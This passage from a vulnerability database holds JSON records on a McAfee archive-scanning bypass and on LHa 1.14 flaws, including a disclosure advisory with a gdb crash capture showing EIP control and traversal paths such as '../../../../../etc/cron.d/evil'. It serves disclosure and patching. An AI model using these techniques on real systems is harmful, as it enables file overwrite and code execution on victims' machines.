is a vendor independent luxemburgish led IT security consulting\ngroup. More information available at : http://www.g-sec.lu/\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it. ----------------------------------------------------------------------\n\nDo you have VARM strategy implemented?\n\n(Vulnerability Assessment Remediation Management) \n\nIf not, then implement it through the most reliable vulnerability\nintelligence source on the market. \n\nImplement it through Secunia",
"sources": [
{
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "BID",
"id": "36848"
},
{
"db": "BID",
"id": "34780"
},
{
"db": "VULHUB",
"id": "VHN-38794"
},
{
"db": "PACKETSTORM",
"id": "77183"
},
{
"db": "PACKETSTORM",
"id": "77170"
},
{
"db": "PACKETSTORM",
"id": "82292"
},
{
"db": "PACKETSTORM",
"id": "82334"
}
],
"trust": 2.61
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2009-1348",
"trust": 3.1
},
{
"db": "MCAFEE",
"id": "SB10001",
"trust": 2.2
},
{
"db": "BID",
"id": "34780",
"trust": 2.0
},
{
"db": "SECUNIA",
"id": "34949",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587",
"trust": 0.8
},
{
"db": "BUGTRAQ",
"id": "20090501 [TZO-18-2009] MCAFEE MULTIPLE EVASIONS/BYPASSES (RAR, ZIP)",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560",
"trust": 0.6
},
{
"db": "MCAFEE",
"id": "SB10003",
"trust": 0.5
},
{
"db": "BID",
"id": "36848",
"trust": 0.4
},
{
"db": "SECUNIA",
"id": "37179",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-38794",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "77183",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "77170",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "82292",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "82334",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-38794"
},
{
"db": "BID",
"id": "36848"
},
{
"db": "BID",
"id": "34780"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "PACKETSTORM",
"id": "77183"
},
{
"db": "PACKETSTORM",
"id": "77170"
},
{
"db": "PACKETSTORM",
"id": "82292"
},
{
"db": "PACKETSTORM",
"id": "82334"
},
{
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"id": "VAR-200904-0511",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-38794"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T13:20:22.676000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "SB10001",
"trust": 0.8,
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=sb10001\u0026actp=list_recent"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-20",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-38794"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "NVD",
"id": "CVE-2009-1348"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.2,
"url": "http://blog.zoller.lu/2009/04/mcafee-multiple-bypassesevasions-ziprar.html"
},
{
"trust": 2.1,
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=sb10001\u0026actp=list_recent"
},
{
"trust": 1.7,
"url": "http://www.securityfocus.com/bid/34780"
},
{
"trust": 1.7,
"url": "http://secunia.com/advisories/34949"
},
{
"trust": 1.1,
"url": "http://www.securityfocus.com/archive/1/503173/100/0/threaded"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2009-1348"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2009-1348"
},
{
"trust": 0.6,
"url": "http://www.mcafee.com/"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/archive/1/archive/1/503173/100/0/threaded"
},
{
"trust": 0.5,
"url": "http://www.g-sec.lu/mcafee-pdf-bypass.html"
},
{
"trust": 0.5,
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=sb10003"
},
{
"trust": 0.3,
"url": "/archive/1/503173"
},
{
"trust": 0.2,
"url": "http://www.mcafee.com/apps/downloads/security_updates/dat.asp"
},
{
"trust": 0.2,
"url": "http://secunia.com/advisories/about_secunia_advisories/"
},
{
"trust": 0.2,
"url": "http://secunia.com/advisories/secunia_security_advisories/"
},
{
"trust": 0.2,
"url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org"
},
{
"trust": 0.2,
"url": "http://www.mcafee.com"
},
{
"trust": 0.2,
"url": "http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html"
},
{
"trust": 0.2,
"url": "http://secunia.com/"
},
{
"trust": 0.2,
"url": "http://lists.grok.org.uk/full-disclosure-charter.html"
},
{
"trust": 0.1,
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026amp;id=sb10001\u0026amp;actp=list_recent"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/34949/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/try_vi/request_2008_report/"
},
{
"trust": 0.1,
"url": "http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html"
},
{
"trust": 0.1,
"url": "http://www.g-sec.lu/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/37179/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/business_solutions/"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-38794"
},
{
"db": "BID",
"id": "36848"
},
{
"db": "BID",
"id": "34780"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "PACKETSTORM",
"id": "77183"
},
{
"db": "PACKETSTORM",
"id": "77170"
},
{
"db": "PACKETSTORM",
"id": "82292"
},
{
"db": "PACKETSTORM",
"id": "82334"
},
{
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-38794"
},
{
"db": "BID",
"id": "36848"
},
{
"db": "BID",
"id": "34780"
},
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"db": "PACKETSTORM",
"id": "77183"
},
{
"db": "PACKETSTORM",
"id": "77170"
},
{
"db": "PACKETSTORM",
"id": "82292"
},
{
"db": "PACKETSTORM",
"id": "82334"
},
{
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2009-04-30T00:00:00",
"db": "VULHUB",
"id": "VHN-38794"
},
{
"date": "2009-10-27T00:00:00",
"db": "BID",
"id": "36848"
},
{
"date": "2009-04-30T00:00:00",
"db": "BID",
"id": "34780"
},
{
"date": "2012-09-25T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"date": "2009-05-02T05:21:02",
"db": "PACKETSTORM",
"id": "77183"
},
{
"date": "2009-05-01T02:03:00",
"db": "PACKETSTORM",
"id": "77170"
},
{
"date": "2009-10-28T01:02:31",
"db": "PACKETSTORM",
"id": "82292"
},
{
"date": "2009-10-28T15:59:53",
"db": "PACKETSTORM",
"id": "82334"
},
{
"date": "2009-04-30T20:30:00.467000",
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"date": "2009-04-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-10-10T00:00:00",
"db": "VULHUB",
"id": "VHN-38794"
},
{
"date": "2015-03-19T09:04:00",
"db": "BID",
"id": "36848"
},
{
"date": "2009-05-01T22:46:00",
"db": "BID",
"id": "34780"
},
{
"date": "2012-09-25T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2009-004587"
},
{
"date": "2018-10-10T19:36:17.640000",
"db": "NVD",
"id": "CVE-2009-1348"
},
{
"date": "2009-05-19T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "network",
"sources": [
{
"db": "BID",
"id": "36848"
},
{
"db": "BID",
"id": "34780"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "McAfee VirusScan Used in products such as AV Vulnerabilities that can be avoided in the engine",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2009-004587"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "input validation",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200904-560"
}
],
"trust": 0.6
}
}
VAR-200408-0141
Vulnerability from variot - Updated: 2023-12-18 11:41Multiple directory traversal vulnerabilities in LHA 1.14 allow remote attackers or local users to create arbitrary files via an LHA archive containing filenames with (1) .. sequences or (2) absolute pathnames with double leading slashes ("//absolute/path"). The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. ------------------------------------------------------------------------
LHa buffer overflows and directory traversal problems
PROGRAM: LHa (Unix version) VENDOR: various people VULNERABLE VERSIONS: 1.14d to 1.14i 1.17 (Linux binary) possibly others IMMUNE VERSIONS: 1.14i with my patch applied 1.14h with my patch applied LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm http://www2m.biglobe.ne.jp/~dolphin/lha/prog/ LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/ REFERENCES: CAN-2004-0234 (buffer overflows) CAN-2004-0235 (directory traversal)
- DESCRIPTION *
LHa is a console-based program for packing and unpacking LHarc archives.
It is one of the packages in Red Hat Linux, Fedora Core, SUSE Linux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux, Gentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. It is also included in the port/package collections for FreeBSD, OpenBSD and NetBSD.
- OVERVIEW *
LHa has two stack-based buffer overflows and two directory traversal problems. They can be abused by malicious people in many different ways: some mail virus scanners require LHa and run it automatically on attached files in e-mail messages. Some web applications allow uploading and unpacking of LHarc archives. Some people set up their web browsers to start LHa automatically after downloading an LHarc archive. Finally, social engineering is probably quite effective in this case.
- TECHNICAL DETAILS *
a) two stack-based buffer overflows
The buffer overflows in LHa occur when testing (t) or extracting (x) archives where the archive contents have too long filenames or directory names. The cause of the problem is the function get_header() in header.c. This function first reads the lengths of filenames or directory names from the archive, and then it reads that many bytes to a char array (one for filenames and one for directory names) without checking if the array is big enough.
By exploiting this bug, you get control over several registers including EIP, as you can see in this session capture:
$ lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU Segmentation fault $ gdb lha GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) r x buf_oflow.lha Starting program: /usr/bin/lha x buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffdd50 0xbfffdd50 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210282 2163330 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) r t buf_oflow.lha The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/lha t buf_oflow.lha LHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU UUUUUUUUUUUUU
Program received signal SIGSEGV, Segmentation fault. 0x55555555 in ?? () (gdb) bt
0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555 (gdb) i r eax 0x4001e4a0 1073865888 ecx 0xffffffe0 -32 edx 0x24 36 ebx 0x55555555 1431655765 esp 0xbfffe6d0 0xbfffe6d0 ebp 0x55555555 0x55555555 esi 0x55555555 1431655765 edi 0x55555555 1431655765 eip 0x55555555 0x55555555 eflags 0x210286 2163334 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Exit anyway? (y or n) y $
b) two directory traversal problems
LHa has directory traversal problems, both with absolute paths and relative paths. There is no protection against relative paths at all, so you can simply use the lha binary to create an archive with paths like "../../../../../etc/cron.d/evil". There is some simple protection against absolute paths, namely skipping the first character if it is a slash, but again you can simply use the binary to create archives with paths like "//etc/cron.d/evil".
- ATTACHED FILES *
I have written a patch against version 1.14i that corrects all four problems. The patch is included as an attachment, together with some test archives.
- TIMELINE *
18 Apr: contacted the vendor-sec list and the LHa 1.14 author 18 Apr: tried to contact the LHa 1.17 author with a web form and a guessed e-mail address which bounced 19 Apr: reply from the vendor-sec list with CVE references 30 Apr: Red Hat released their advisory 01 May: I release this advisory
// Ulf Harnhammar Advogato diary :: http://www.advogato.org/person/metaur/ idiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/ Debian Security Audit Project :: http://shellcode.org/Audit/
Show details on source website
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-200408-0141",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "lha",
"scope": "eq",
"trust": 1.6,
"vendor": "tsugio okamoto",
"version": "1.17"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.6,
"vendor": "tsugio okamoto",
"version": "1.15"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.6,
"vendor": "tsugio okamoto",
"version": "1.14"
},
{
"model": "winzip",
"scope": "eq",
"trust": 1.3,
"vendor": "winzip",
"version": "9.0"
},
{
"model": "cgpmcafee",
"scope": "eq",
"trust": 1.3,
"vendor": "stalker",
"version": "3.2"
},
{
"model": "propack",
"scope": "eq",
"trust": 1.3,
"vendor": "sgi",
"version": "3.0"
},
{
"model": "propack",
"scope": "eq",
"trust": 1.3,
"vendor": "sgi",
"version": "2.4"
},
{
"model": "winrar",
"scope": "eq",
"trust": 1.3,
"vendor": "rarlab",
"version": "3.20"
},
{
"model": "internet gatekeeper",
"scope": "eq",
"trust": 1.3,
"vendor": "f secure",
"version": "6.32"
},
{
"model": "internet gatekeeper",
"scope": "eq",
"trust": 1.3,
"vendor": "f secure",
"version": "6.31"
},
{
"model": "f-secure for firewalls",
"scope": "eq",
"trust": 1.3,
"vendor": "f secure",
"version": "6.20"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.13"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.11"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.10"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.8"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.7"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.6"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.5"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.4"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3.3"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.3"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.2"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.1"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.3,
"vendor": "clearswift",
"version": "4.0"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.52"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.60"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2004"
},
{
"model": "lha",
"scope": "eq",
"trust": 1.0,
"vendor": "redhat",
"version": "1.14i-9"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2003"
},
{
"model": "f-secure personal express",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.5"
},
{
"model": "fedora core",
"scope": "eq",
"trust": 1.0,
"vendor": "redhat",
"version": "core_1.0"
},
{
"model": "mailsweeper",
"scope": "eq",
"trust": 1.0,
"vendor": "clearswift",
"version": "4.3.6_sp1"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.5"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "f-secure anti-virus",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "6.21"
},
{
"model": "f-secure personal express",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.6"
},
{
"model": "f-secure internet security",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2004"
},
{
"model": "f-secure internet security",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "2003"
},
{
"model": "f-secure personal express",
"scope": "eq",
"trust": 1.0,
"vendor": "f secure",
"version": "4.7"
},
{
"model": "lha for unix",
"scope": "lte",
"trust": 0.8,
"vendor": "lha for unix",
"version": "1.17"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1 (as)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1 (es)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1 (ws)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3 (as)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3 (es)"
},
{
"model": "enterprise linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3 (ws)"
},
{
"model": "enterprise linux desktop",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "3.0"
},
{
"model": "linux",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "9"
},
{
"model": "linux advanced workstation",
"scope": "eq",
"trust": 0.8,
"vendor": "red hat",
"version": "2.1"
},
{
"model": "linux i686",
"scope": "eq",
"trust": 0.3,
"vendor": "redhat",
"version": "7.3"
},
{
"model": "linux i386",
"scope": "eq",
"trust": 0.3,
"vendor": "redhat",
"version": "7.3"
},
{
"model": "linux",
"scope": "eq",
"trust": 0.3,
"vendor": "redhat",
"version": "7.3"
},
{
"model": "lha-1.14i-9.i386.rpm",
"scope": null,
"trust": 0.3,
"vendor": "redhat",
"version": null
},
{
"model": "hat fedora core1",
"scope": null,
"trust": 0.3,
"vendor": "red",
"version": null
},
{
"model": "s.k. lha",
"scope": "eq",
"trust": 0.3,
"vendor": "mr",
"version": "1.17"
},
{
"model": "s.k. lha",
"scope": "eq",
"trust": 0.3,
"vendor": "mr",
"version": "1.15"
},
{
"model": "s.k. lha",
"scope": "eq",
"trust": 0.3,
"vendor": "mr",
"version": "1.14"
},
{
"model": "webshield smtp",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.5"
},
{
"model": "webshield appliances",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan professional",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan for netapp",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan enterprise i",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.0"
},
{
"model": "virusscan command line",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "9.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "8.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7.1"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "7.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "6.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.5.1"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.5"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.0.3"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "4.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "3.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "2.0"
},
{
"model": "virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "1.0"
},
{
"model": "virex",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
